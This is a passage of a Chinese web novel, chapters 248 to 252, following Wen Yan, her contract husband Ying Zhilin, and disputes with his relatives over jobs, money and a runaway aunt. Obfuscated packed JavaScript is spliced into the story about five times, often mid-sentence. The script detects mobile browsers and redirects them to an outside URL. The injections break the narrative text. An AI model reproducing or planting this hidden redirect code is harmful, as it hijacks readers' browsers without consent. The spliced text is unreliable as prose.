蒋家小女儿,便将净面娘子的事说了。 她竖起一根手指头,激动地道:“娘,我要去做净面娘子。 每月一两银子的工钱,不仅可以每月做一身新衣,还可以买许多的珠花首饰。 闻颜还说,他们接待的客人,都是京城里达官显贵家的夫人小姐,只要我能跟一两个交上朋友,或是被贵夫人看上了,娶回去当儿媳妇,我们家就跟着鸡犬升天了。 娘,你去跟应知林说嘛,我也要去做净面娘子。 我一定要去。” 蒋家小女儿撒泼耍赖,非去不可。 二姑姑倒算清醒:“人家闻颜就是从那些达官显贵家出来的,她都嫁不了那些贵公子,你拿什么去嫁? 我告诉你,打消你那些不切实际的念头。” 蒋家小女儿撅了撅嘴:“就算当不了妻子,做个妾也好啊,以后我生的孩子,就再也不用种地了……” “不行!大户人家的妾是那么好做的吗? 忘记咱们村地主家的小姐了吗? 好只是去给县老爷的舅子做妾,就落得那副下场,你不想要自己的命了?” 蒋家小女儿也不由回想起,那个嚣张跋扈的地主小姐,被送回来时,一路上滴滴哒哒流着血,已不成人形。 她吓得一个激灵。 立即打消了当妾的念头。 二姑姑握住她的手:“你别担心,为娘一定会为你挑一个好夫婿的。” 蒋家小女儿轻应一声,点点头:“但我还是要去做净面娘子。 应知林过继给外婆,他就是我亲表哥,他一定,也必须要帮我。” 二姑姑想到一两月银,眼珠子转了转:“行,我让你姐姐也去,这样你们姐妹俩有个照应,别人也不敢欺负你们。” “哼,我可是应知林的表妹,谁不长眼敢来欺负我。” 母女俩说着,就一起去找闻颜。 闻颜刚把手头上的事安排好,二姑姑母女就来了。 二姑姑对闻颜嘘寒问暖,东拉西扯。 闻颜没耐心与她周旋,脸上挂着笑:“二姑姑有什么话就直说吧,我能办到的尽量去办,我办不到的也无能为力。” 二姑姑面色一僵,绞了绞手指,说明来意。 闻颜笑着道:“这都是小事,两位表妹若是想来,我只是欢迎。 只不过,丑话我要说在前头。 我做事只讲规矩,对所有人一视同仁,两位表姐妹在我手下不会有任何优待。 再就是,我要给你们说清楚,所谓的净面娘子,其实就是服侍人的下人婢女,做的都是卑微的活计,规行矩步没有半点自由,惹怒那些贵人,打骂都得忍着。 即便如此,表姐妹还是想去吗?” 蒋家小女儿立即就萌生退意。 她最受不了低声下气,更何况要被打骂 二姑姑却觉得闻颜是在吓唬自己。 当即不说去不去,捂着脸就嘤嘤哭,说终究不是亲姑姑,又开始细数五婆婆对应知林的恩情。 她哭起来声音尖厉,听得闻颜心烦气躁。 “二姑姑,你什么都想要,是不是太贪心了?”应知林推门走了进来,“与其在这里要些有的没的,不如去收拾房子,也好早些搬过去住。” “应知林!”二姑姑再也忍不住了,拍案而起。 “不管怎么说,我也是你的姑姑,你怎么能这样对我! 别忘了,要不是我娘答应过继你,你能有现在的好日子?!” “吃水还不忘挖井人,你就是这样报答我娘的?” “祖母对我的恩情,我自然报答。我会为她养老,为她摔盆送终。 但这不是你得寸进尺的理由。 别说你我只是过继关系,你可以看一看应喜妹,她是我血缘上的亲姑姑,我与她在同一个屋檐下生活十几年,她可有占到我半分便宜?” “你……”二姑姑气得口不择言,“果然,别人都说,负心多是读书人。 你果然冷心冷肺,不念半点亲情。 你就不怕,我把你的这些行径, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344289|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣扬得天下皆知吗?你的名誉毁掉,就参加不了秋闱。 你可要想好了,真的要为了一个女人,就不要仕途了。” 应知林无所谓地摊摊手:“你想宣扬就去宣扬好了。 反正我的妻子有的是钱,我便是一辈子不考科举,她也能把我养得白白净净,日子过得逍遥自在。” 二姑姑:“……果然是厚脸皮,竟然把吃软饭说得如此理所当然。” “那又如何,我妻子愿意养我,二姑姑是羡慕嫉妒恨吗? 不如,你也凭自己的本事,把我二姑父养起来。 而不是来吸我的血。” “你……”二姑姑气结,一时找不到反驳的话。 突然捂着胸口‘哎呦哎呦’地喊疼,说她不好了,要请大夫。 蒋家小女儿转身就想跑出去嚷嚷。 “佩儿。”应知林喊了一声。 佩儿立即从门外蹿出来,一把拉住蒋家小女儿。 蒋家小女儿挣扎:“你个贱婢,你放开我,没看见我娘不好了吗?我要去给她找大夫。” 应知林似笑非笑地看着她:“小小年纪,别的没学到,倒是将你娘撒泼耍赖的本事学了个十成十。 我会些医术,远远瞧着,你娘并无碍,你不必着急。” 应知林打定主意不会让她出去找大夫。 蒋家小女儿知道闯不出去,又乖乖地退回去,坐到了她母亲的身边。 二姑姑也知,再装下也不会如愿,哎呦一声就清醒过来。 “应知林,你会后悔的。”她扔下这句狠话,就匆匆离开了。 闻颜看着她气匆匆的背景,失笑出声。 应知林深吸一口气,转身对闻颜道:“以后他们再来找你麻烦,你直接告诉我,我来处理就好。” 闻颜摆摆手,不甚在意的道:“只要合约没有到期,这些事,我就有义务帮你处理。” 应知林眸色一暗。 果然,她至今仍然想着,合约到期就离开。 他也庆幸,自己没有冲动行事,而是选择循序渐进。 离合约到期还有三年,自己还有大把的时间,赢得她的心! 第248章:卖消息,赚一笔 将家中的事安排好,翌日一早,闻颜就又要赶去京城。 庆川说三天之后出发,自己再不去京城,他就出发去北境了。 应知林帮闻颜把包袱放上马车:“我这几日读书费脑子,我想吃食味斋的点心。” 闻颜微微蹙眉。 应知林这语气,怎么跟撒娇似的? 不,一定是自己听错了! 闻颜朝他比了一个‘放心’的手势,转头就对佩儿道:“我们走吧。” 三两马车一起朝村外驶去。 一辆是闻颜的。 另外两辆,是田叔送净面娘子去花楹镇的。 途径村口,应喜妹突然冲出来。 “吁——”佩儿急忙勒停马车,气恼道,“寻死啊你!你不要命了也别拉我们陪葬啊!” 应喜妹对佩儿哼一声:“闻颜,你下来,我凑够银……” 马车的窗帘被掀开,闻颜的脸从窗户露出来。 应喜妹立即跑过去,拿出一只钱袋向她炫耀:“喏,钱我已经准备好了,你赶紧去打听希延哥哥的消息,我今天下午就要知道,否则这些银子你一文都得不到。” 闻颜道:“消息我早打听到了。” “那你快告诉我,希延哥哥现在在哪里?” 闻颜摊手:“银子。” “万一我把银子给你,你耍赖什么都不肯说该怎么办?” “你没一点自知之明吗?”闻颜忍不住翻了一个白眼,“你们一家狗皮膏药一样难缠,我甩都甩不及,哪敢沾上你们。 算了,既然你不信我,那你自己去打听消息吧。” 闻颜放下帘子:“佩儿,我们走吧。” “别别别,你这人怎么这么小气,玩笑都开不起。 喏,银子给你,你快说吧。”应喜妹双手奉上银袋子。 闻颜接过袋子抛了抛,确定重量不差之后,便道:“孟希延去晋阳府赈灾了,他现在是晋阳府知府,等他赈灾回来,就会平步青云,从小将军变成大将军。” 自己的眼光果然不错! 应喜妹窃喜偷笑。 闻颜让佩儿赶着马车就离开。 上官道后,闻颜就和田叔他们分开。 闻颜他们将近午时抵达京城。 他们找了一间客栈落脚之后,她就派人去伯府通知庆川,在‘一点墨’碰面。 与此同时。 松山村中,老应家。 乔婆子的房间里发出一声尖叫:“啊……我的银子!家里遭贼了,快来人啊!” 应喜妹缩在房间里,瑟瑟发抖:“完了完了,老娘这么快就发现了!老娘会不会打死我啊!” 打死她都不敢出去。 直到乔婆子大叫嚷着要报官。 应喜妹才不得不出去坦白。 乔婆子听说钱是被应喜妹拿了,气得脸都扭曲了。 应喜妹吓得‘哇’的一声大哭出来。 ** 闻颜带着佩儿吃过午饭,正要往‘一点墨’去。 突然遇上官兵开道,是有贵人路过。 闻颜连忙拉着佩儿退到一旁避让。 很快。 驶来一支低调的马车队伍。 闻颜瞬间认出马车上的标志。 是恭太妃的马车。 过完年她就去行宫小住,现在正是一年之中最热的时候,怎么回来了? 京城这般炎热,太妃年纪大了,身体能受得住吗? 就在此时,车帘从里掀起。 露出里面端坐的老太太。 老太太满头银丝,一张布满岁月痕迹,却仍然慈和的脸。 许是察觉到闻颜的视线。 她回头看过来,与闻颜的视线撞在一起。 恭太妃眼神柔和,朝她微微颔首。 闻颜连忙敛衽行礼,不敢再抬头。 ‘一点墨’二楼的雅间,庆川来得很快。 苏合上完茶后,就退了出去。 “你什么时候起程?”闻颜问道。 “明日一早就要走,这次的货物有很多,我们要赶在入冬积雪之前,卖完货回来。” “北境入冬早,现在已经是七月,只有不足两个月的时间了,确实有些紧张。 想必你出发前还有许多事要做,我也就不耽搁你了。” “我要买入的东西,都写在上面了。”闻颜拿出一张清单,放到庆川面前。 她又拍了拍桌边的一口箱子,“这里面是我买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344290|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入物资的财物,不过需要你将它们带到边境,将它们换成银子。 当然,我不会让你白忙活,所换银钱的两成是你的酬劳,其余的全部换成货物。” 庆川好奇她都拿了些什么东西来。 将盒盖打开一条缝隙,瞬间被里面的珠光宝气晃花了眼。 “这么多东西,你全都要换掉?”里面好些上等货。 闻颜悄悄道:“这是我在路上从土匪窝里掏来的,再值钱我也不敢在大庸花,只能拜托你拿到北境去处理了。” “行,这些事就交给我吧,保证帮你办得漂漂亮亮的。”庆川说完,犹豫了一下,从旁边的凳子拿出一只锦盒,递给闻颜。 “给我的?”闻颜好奇去接。 盒子颇重,压得她差点没捧住。 “这么重,不会是什么珍贵的矿石吧!”闻颜越发好奇,打开之后发现里面装着一块巨大的白玉。 白玉脂白无瑕,油润光滑,是一块上等的籽料。 这尺寸,不管雕一尊玉佛,还是一只玉瓶,都绰绰有余。 闻颜立即盖上盒子,费力地推了回去:“无功不受禄,这么贵重的物品,我不能收。” 庆川道:“你当初借我几千两银票的时候,可不是这样说的。” 闻颜:“……” 看来,这玉石她不收都不行了。 “那就让你破费了。” 与庆川分开后,闻颜本想去将军府,找义母拿钥匙,敬明媚就找来了。 几人又回到了包厢之中。 “那江柔儿迫不及待地想爬上霍耀行的床。 我每天跟她斗智斗勇,阻止她往霍耀行身边凑,可累死我了。 什么时候能成全他们啊!”敬明媚歪在椅子里,一副受尽折磨,被吸干了精气的样子。 闻颜捂嘴偷笑:“现在还不是时候,只能让你再多忍耐几天了。” 敬明媚一阵哀嚎:“太不爽快了,我憋屈。不如我们换个打法,按照我的手段来吧。” “千万别。再有个把月就能动手了。 你想一想,霍耀行父子反目成仇的画面,是不是就能多忍几日了。” “我……,我忍!”敬明媚握紧拳头,咬牙切齿。 第249章:应喜妹跑了 第二日,闻颜就去将军府,找义母拿到了宅子的钥匙。 宅子位置不算好,而且久不住人,很是荒芜。 空气里还飘着一股陈腐气息。 但胜在宅子很大,修建布置得十分精致。 亭台楼阁,移步换景,抄手游廊,假山流水。 后院里还有一个蜿蜒曲折的池塘,里面种满了荷花。 现在正是开花的季节,即使无人精心打理,也开得十分热闹。 这个院子闻颜很满意。 转悠一圈,她就有了大概的布置思路。 随后,她住进了‘一点墨’后面的小院。 写写画画两天,就将图纸交给虎叔,让他找人修葺、布置宅子。 闻颜也忙着订制其余东西,挑一些侍奉打扫之人。 忙忙碌碌间,半个月时间不知不觉过去。 闻颜想要的宅子已经初见雏形。 只有一些细节还要调整。 闻颜总算能松一口气。 她便买了些东西,回家去歇两天。 不过在回家之前,她先去了一趟柳家村,去看一看亲生父母。 马车刚进村就引人围观。 柳家人得到消息,开门迎了出来。 张敢娘看见闻颜便红了眼眶。 老三媳妇一把抱住闻颜的胳膊:“你一出门就好几个月,每次过去送豆腐都看不见你,想死我了。” 一家人欢欢喜喜进了院子。 闻颜看见院子里晒满了豆皮。 家里也多了三头驴,用来拉磨,给他们减轻了不小的负担。 不过院子里堆着许多豆粕,根本吃不掉。 闻颜想了想,就建议他们养些鸡鸭猪,来消耗豆粕。 张敢娘的身体好了许多,虽然还是消瘦,精神却好了许多。 闻颜在柳家吃过午饭才离开。 柳家人目送她离开村子。 老三媳妇便兴冲冲地回到房间,开始拆闻颜带来的东西。 除了两根五十年份的人参,还有几匹布料,几盒糕点。 人参是留给张敢娘的。 但是这几匹布,足够家里每人做两身衣裳了。 张敢娘则和柳父商量着,家里建猪圈的事。 “我们豆粕量很大,猪圈得建宽敞一点,得多养几头猪才行。” “我们做豆腐都忙不过来了,哪有时间养猪啊!” “我们请些工人吧,磨豆滤豆渣就交给别人,养猪也是。” 柳家人凑在一起,有商有量着家中大事。 闻颜赶着天黑前回到松山村。 院中安安静静,烟囱里冒着浓烟。 她跳下马车,正要上前叩门,就听身后一声尖厉咆哮:“闻颜,还我女儿,我要杀了你!” 闻颜回头。 就见乔婆子疯了似的扑向自己,并砸来一块泥巴。 咝…… 闻颜倒吸一口气,刚想躲开。 眼前忽然一花。 她就被一双有力的手臂抱住,随后整个人被拥入一个怀抱。 这熟悉的气息,是应知林。 ‘砰!’ 她听见泥巴砸在身体上的声音,头顶立即传来一声闷哼。 闻颜挣扎,想抬头看他。 应知林扣着她的脑袋按入怀中:“先别动。” 果然。 应知林又挨了两下,才松开闻颜。 他将闻颜护在身后,厉声质问:“你干什么!?” 乔婆子疯了一样扑过来挠闻颜,嘴时骂骂咧咧:“怪你,都怪你! 要不是你,喜妹也不会离家出走,去找那个姓孟的! 她若是有个三长两短,我一定杀你偿命……” 在乔婆子一声声叫骂诅咒当中,闻颜很快就明白了事情的原因。 应喜妹偷了乔婆子的钱,向自己买了孟希延的消息。 乔婆子当天就发现钱被偷了,她大发雷霆。 将应喜妹狠狠训斥一顿,还打了她一个耳光。 当天夜里,应喜妹就留书离家出走了。 还再次偷了五十两银子。 乔婆子当时就气撅过去了。 闻颜啧舌,这个应喜妹,胆子可真大。 不过,她一个独身女子在外,真的很危险。 也难怪乔婆子会发疯。 自从应喜妹离家出走之后,乔婆子天天到她家里来闹。 今天可算是逮到闻颜了 她怎么可能会轻易放过! 她弯腰捡起什么,就朝闻颜丢什么,一边丢一边骂:“你这个搅家精,瘟神! 自从你嫁到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344291|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老应家,我们就没过上一天安生日子。 先是撺掇我孙子断亲,现在又把我女儿骗得离家出走! 老应家娶到你这样的媳妇,简直倒了八辈子血霉。 难不成我上辈子刨你家祖坟了吗? 哎呦喂,我的命好苦啊! 让我**算了,孙媳妇逼死祖母了……” 乔婆子骂着骂着,就一屁股坐在地上,拍着大腿哭诉起来。 哭完她还要去抱闻颜的大腿。 闻颜连忙退开,乔婆子扑了个空。 闻颜看着乔婆子:“你哭!你只管哭。 你只管把事情闹得人尽皆知。 把正应喜妹只是订婚,又没有成婚。 男方家里若是知道了,只会解除婚约,肯定不会对她怎么样的!” 乔婆子像只被掐住脖子的鸡,一时间闹又不敢闹,就这样回去又不甘心。 但她还是要闻颜负责。 闻颜根本不想搭理她家的事,但若是真的不管,不仅乔婆子不安生,村民也会觉得她冷漠。 这不利于她将来守寡。 几乎没有过多思才,便说会帮忙报官一起找。 “不能报官!”一旦报官,喜妹夜半三更离家出走的消息就瞒不住了。 名声毁了。 喜妹还怎么嫁人! “这也不行,那也不行,等你想好了再来找他们吧。”村长匆匆赶来。同好气地喝斥乔婆子,“发现当天,知林就说过去报官,你们要是同意,应喜妹早就找回来了。 是你拖拖拉拉,顾这顾那。 应喜妹要是有个三长两短,全都是你害的!” 乔婆子被村长拆穿。 顿时就捂着脸,‘呜呜’哭了起来。 村长的长子,也带着应大伯和应三叔来了。 村长给闻颜他们打手势,让他们先回家,这里有他处理。 闻颜和应知林进了院子。 院门刚一关上,应知林的身体就踉跄几下。 “唔……好痛!” 闻颜连忙扶住他:“你怎么样?” 应知林:“我的背好痛,好像刚才被砸到要害了。” “走,回屋,我帮你看看。”闻颜扶着他就往东跨院走。 应知林的半边身体,几乎都压在她身上。 第250章:应知林怕疼 闻颜顿时感觉到肩膀上传来的压力。 仿佛有一座山压在她的肩膀上。 闻颜连忙使出吃奶劲撑住他:“扯到伤口了吗?” 应知林轻蹙着眉头,哼哼唧唧的点头。 闻颜也蹙着眉:他何时变得如此娇气了? 难不成是那几块泥巴,砸到要紧位置了? 不会是装的吧! “你再忍一忍,马上就到房间了。”闻颜将他扶回房间,让他坐到椅子上。 “你在这里坐着,我去找人。”闻颜说完,转身就要出去叫人。 应知林一把握住她的手腕:“您要去找谁?” “你疼得如此厉害,当然是去找大夫啊!” “村里的赤脚大夫,医术恐怕还没有我好。他来了无非就是让我用药酒搓一搓,何必跑那一趟,”应知林将她拉回来。 许是牵扯到了后背伤,他轻嘶一声,脸色更加苍白了,“我书案的抽屉里,有一瓶活血化瘀的膏药,用它揉一揉就好。” “那我去找辰七哥来帮你。”闻颜还是要出去。 应知林又抓住她:“辰七哥失去一腿一臂,本就心里自卑,何必再往他的伤口上撒盐。” 闻颜:“这……算撒盐吗?” “怎么不算呢?”应知林说着,像是忽然想到什么。 他的眼神瞬间变得失落受伤,“其实,是你不愿意帮我吧。我知道的,我们虽有夫妻之名,到底是男女有别……” 他苦笑一声,低下头去。 闻颜:“……我不是,我没有!” “你的顾虑是对的,你去找康叔来帮我吧。”康叔,是三名护院中的领头。 应知林转过身,低下了头。 那背影,别提多可怜落寞了。 怎么弄得她像个恶霸,应知林是个被她欺负的小可怜? 闻颜一阵无语。 她张了张嘴,想解释什么,终究是什么都没说,就离开卧房。 闻颜拿到药膏之后,犹豫了一下,还没有去找康叔。 她重新回到房间,就见一副雪白宽阔的脊背,出现在眼前。 闻颜瞳孔震颤,猛吸一口气。 应知林自己脱去了上衣。 宽肩窄腰,肌肉坚实。 别说,这男人的身材相当不错。 就是他背上那几块青紫瘀伤,太煞风景。 闻颜此前还怀疑他在装娇弱,原来是自己误会了。 闻颜拿着东西走进去。 “康叔,麻烦你了。”应知林头也不回地道,声音里还带着小委屈。 闻颜没吱声。 用手指挑出一点药膏,用手心的温度将其融化后,再按在青紫的地方。 “哼……”应知林低哼一声,身体也跟着颤了一下。 没想到他竟然怕疼,闻颜没忍住,发出低低的笑声。 应知林瞬间红了耳根:“我怕疼的事,你别告诉闻颜。” “为什么不告诉?怕我取笑你啊?”闻颜憋着笑。 应知林猛地回头,看见是闻颜。 他立即双手护胸。 脸颊却是以肉眼可见的速度红起来。 他又连忙用手护住脸。 闻颜笑得不行。 她用食指去勾他的手腕:“哎呀,你在害羞什么?之前你挨了孟希延一掌的时候,不是挺能忍的吗? 现在怎么就忍不住了?” “你别说了。”应知林突然抬头,一把捂住闻颜的嘴,“不许你再说了。” 因为羞恼,他的脸颊红得几乎要滴血。 眼眶也泛着红,还蒙上了一层水汽。 看着很是楚楚可怜。 闻颜心里顿时生起负罪感。 她连忙收起笑容,很真诚地跟他道歉:“对不起,我不是故意的。 实在是跟你平时的性格反差太大,我才…… 我真的不是故意的。” 应知林轻叹一口气:“我是大哥,我若是再不表现得强横一点,怎么能保护得了弟弟妹妹。” 闻颜觉得气氛低迷,生硬地转移话题:“别说那些有的没的了,我帮你把药膏揉开吧。会很痛,你忍着点。” “嗯。”应知林转过身去,任由闻颜操作 闻颜才揉了第一下,应知林的身体,就止不住地痉挛。 闻颜都不敢下手了,提议缓一缓再继续。 应知林摇摇头:“后背的伤,好像影响到我右臂了。马上就要秋闱,我的手臂不能出事。” 虽然知道他考不上,闻颜还是不忍伤害他,只得继续。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344292|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应知林死死咬住牙关,一点声音都没发出。 闻颜并未停下,应知林也一直忍着痛,额头沁出大片冷汗。 揉到一半,他的身体已经控制不住地轻颤。 闻颜刚想停下来。 应知林就抬起头来看着她:“我好疼,我可以抱着你腰吗?” “就像小时候,我抱着母亲一样。”他的眼眶里含着泪水,那楚楚可怜的样子,就像一只受伤的小狗,惹得人心软。 闻颜根本说不出拒绝的话,轻轻点头。 应知林立即抱住她的腰,紧紧的,就像闻颜是他唯一能抓住的浮木。 这模样,可真像一个无助的孩子。 闻颜重新给他揉药,并说话来转移他的注意力。 “应喜妹的事,你打算怎么办?”到底是因为她提供的消息,应喜妹才会离家出走。 现在外面很不太平。 应喜妹一个女子独自出行,很容易被坏人盯上。 虽然不喜欢,若是让她因此搭上性命、清白,闻颜总归是过意不去的。 应知林声音虚弱地回道:“她出走的第二日,我就找同窗帮忙找她。 她目前在同窗的商队里,安全无虞。” “人没事就好。”闻颜跟着松了口气,“那你为什么不告诉乔婆子?” “太轻易告诉她,她又会粘上来,甩不掉。” 两刻钟过去,闻颜才将三四处瘀青揉完:“你快把衣服穿好吧。” 应知林抬手穿衣,右手却使不上劲。 闻颜无奈叹气,“我来帮你吧。” 夏天的衣服本就轻薄。 一件长衫很快就替他整理好了。 “谢谢。”应知林一直低着头。 “小事而已,况且我们是合作伙伴,互相帮助不是应该的嘛!”闻颜收拾药膏,就准备出去。 “今天的事……”应知林迟疑着开口,“你能不告诉别人吗?” “我为什么要告诉别人?”闻颜朝他挥挥手,爽朗笑着离开了。 待闻颜一走,应知林才抬起头来。 他看着闻颜的背影,脸上溢出温柔的微笑:“果然,只要是弱者,你就会照顾,同情!” 他用灵活的右手摸了摸后背的伤势,有点怪乔婆子不中用。 第251章:应知林不能自理 他就应该让乔婆子再多砸几下。 不过没关系。 以后有事没事,多往乔婆子身边凑凑。 天色渐暗。 闻颜洗手回来,正要扶应知林出去吃饭。 佩儿就将晚食端进来了。 想到应知林的伤势,闻颜就陪着他一起在院子里吃饭。 果然就见应知林夹菜的时候,手一直在哆嗦,夹不太稳。 好几次菜都送到嘴边了,还是没吃上。 闻颜叹了口气,接过碗筷:“我来喂你吧。” 闻颜用勺子舀着饭菜,送到他嘴边:“啊……” 应知林乖乖张嘴吃饭,目光却一瞬不瞬地看着她。 起初闻颜还大大方方的。 他要看就看吧,反正又不会少块肉。 可他一直盯着看,闻颜就有些不自在了。 她好奇地问:“我真的很像你娘亲吗?是长相相似?还是神情相似?” 应知林:“……” 闻颜本来就容易心软,要是让她产生当母亲的错觉,还怎么喜欢自己? 他当即否认:“不是,我只是觉得你比我预想的还要温柔。” 闻颜打趣他:“你难道忘记我去行刺阿十剑的事了?” “一码归一码,有仇不报,那不是温柔,是怯弱。” “你的歪理倒是挺多的。” “这明明是道理……” 两人拌着嘴,晚食很快就吃好了。 闻颜把碗筷叠在一起:“睡觉之前洗澡什么的,你总不会还要我帮你吧!” 应知林闹了个大红脸:“不必,这个我自己能行。” 闻颜偷笑着,离开了房间。 应知林看着闻颜的背影,目光片刻都舍不得离开。 “闻颜眼里容不得砂子,你这样骗她,当心她知道了跟你翻脸。”辰七哥柱着拐杖,不知何时出现在应知林门外。 应知林笑看着辰七哥:“我何时骗她了?” “我怕疼……”辰七哥夹着嗓子,学应知林的语气。 “你偷听我们说话!”应知林顿时沉了脸。 辰七哥:“我练武的,耳力本来就比普通人好,你们说话又没避讳。” “康叔他们……”不会也听到了吧! “那倒没有,他们只会些普通的拳脚功夫,我以前可是在江湖中排得上名号的。”辰七哥说着说着,还有些洋洋得意。 耳朵这么灵,他还怎么好意思跟闻颜撒娇装柔弱! 而且……闻颜刚才说了合作伙伴,他不会猜到什么了吧! 应知林绝情道:“明天你还是搬去西跨院,跟康叔他们挤大通铺吧!” “你……公报私分!”康叔他们都是些糙汉子,大夏天的汗味脚味儿都能把他熏死!辰七哥才不想跟他们挤。 辰七哥现在恨不得自打嘴巴,让你多嘴! 辰七哥垂头耷耳的离开。 刚走了几步,他又顿住。 他回头看着应知林,神情没来由的严肃:“闻如月一直想找颜颜的麻烦,你若是真的跟她在一起,恐怕也会受牵连。 你可要想好了,能不能承受得住来自闻家和津平侯府的怒火。 再就是,你开屏就开屏,千万别越过闻颜的底线,后果你承担不过。” 辰七哥说完,就柱着拐杖‘哒哒哒’地回了自己的房间。 二姑姑一家,在闻颜去京城的次日就搬出去了。 院子里安静极了 闻颜去陪五婆婆聊了会儿天,又去检查了颜料作坊的进度,就回屋休息了。 翌日。 天刚刚亮,闻颜就早早起了床。 她要赶在应知林去书院前,给他揉一回药膏。 闻颜叩门进去:“我来给你揉药膏。” 应知林乖巧的自己起身脱衣。 昏黄灯光下,他的身材更加分明。 闻颜掌灯仔细看了看,青紫已经变成红褐色:“看上去好了许多。” 应知林道:“已经没有昨日疼了,抬手还受些影响。” 闻颜打开瓷瓶,应知林就悄悄捏住她的衣角。 闻颜失笑:“你想抱就抱吧。” 反正昨天已经让他抱过了,也不差今天这一回了。 应知林去书院后,闻颜先去慧娘的制墨作坊转了一圈,快到午时。 佩儿就气喘吁吁地跑来叫她:“小姐,京城来人了。” 闻颜好奇:“来的都是什么人?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344293|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 佩儿摇头:“那人衣着富贵,看上去来头不小。” “走,先回去看看。” 闻颜回到家中,看见坐在院中的江嬷嬷,闻颜了然一笑。 江嬷嬷是闻家主母,江心葵的心腹嬷嬷。 她看见闻颜,当即上前行了一礼:“二小姐,您可让我好等。” 她虽礼数周全,眉宇之间却没有一丝恭敬。 闻颜:“江嬷嬷,您来这乡下地方,有何贵干?” “夫人老爷想您了,特地让我过来看看你。”她挥了挥手,小丫鬟立即提着一个食盒,递给闻颜。 “这里面,是你最喜欢吃的绿豆糕,夫人特地让我准备的。” 佩儿看了一眼食盒,并未动作。 “母亲是老了吗?记性真的很不好,我喜欢的明明是红豆,从来不喜欢绿豆糕。 算了,到底是她老人家的一片心意。 佩儿,收下吧。” “是,小姐。”佩儿这才上前接过。 “东西我已经收到了,就不留江嬷嬷吃饭了,毕竟寒舍简陋,粗茶淡饭,江嬷嬷会吃不习惯。” 佩儿立即上前送客。 江嬷嬷气得要死,果然是泥腿子的种,在闻家养了十几年,还是一点修养都没有。 佩儿拉着她就往外走。 “等等,我这次来还有一件事。”江嬷嬷一把甩开佩儿,大步走到闻颜面前。 她将一个纸包递给闻颜:“你不是从小喜欢配香料吗? 这款香料夫人很喜欢,你赶紧配一款出来。” 闻颜打开纸包,一股特别的得气扑面而来。 闻颜挑了挑眉。 这不是她卖给闻如月的香料吗? 看来她真的送给兰贵妃了。 兰贵妃用完之后,闻如月没地方补货,便打起了自己的主意。 闻颜把纸包复原塞回去:“我配不了。” “你以前不是总吹嘘自己香道很厉害吗?这款香你怎么就配不出来了?” 闻颜一脸无辜:“哎,实在是乡下的生活太艰苦,我的鼻子最近不灵敏。” “闻颜,你可要想好了。你要是惹得夫人不快,以后再想要娘家替你撑腰,可是不能了。” 第252章:请柬 江嬷嬷跟在江心葵身边久了,学了一身的高傲脾气。 求着她调锡兰香,却连求人的态度都没有。 竟然还拿闻家来威胁她。 还真当她怕了闻家不成? 闻颜心里发笑,面上却不显。 她踉跄后退几步,一脸悲痛地说:“看来……我与闻家,就要缘尽于此了。 以后我就没有娘家了,我的心好痛,呜呜呜呜……” 闻颜说完,就捂着脸跑开了。 江嬷嬷想拦都拦不住,只会无能咆哮:“闻颜,你站住! 你今天要是敢走,老爷和夫人绝对不会再认你。 有这层关系在,你好歹还有闻家养女的头衔。 如若不然,你就成了彻头彻尾的村姑,京城就再无你的立锥之地!” 闻颜跑开的步子一顿,停了下来。 江嬷嬷得意一笑。 闻颜在拿什么乔。 到头来,还不是要乖乖的听自己吩咐。 不过,闻颜这人性子倔得很,又特别好面子。 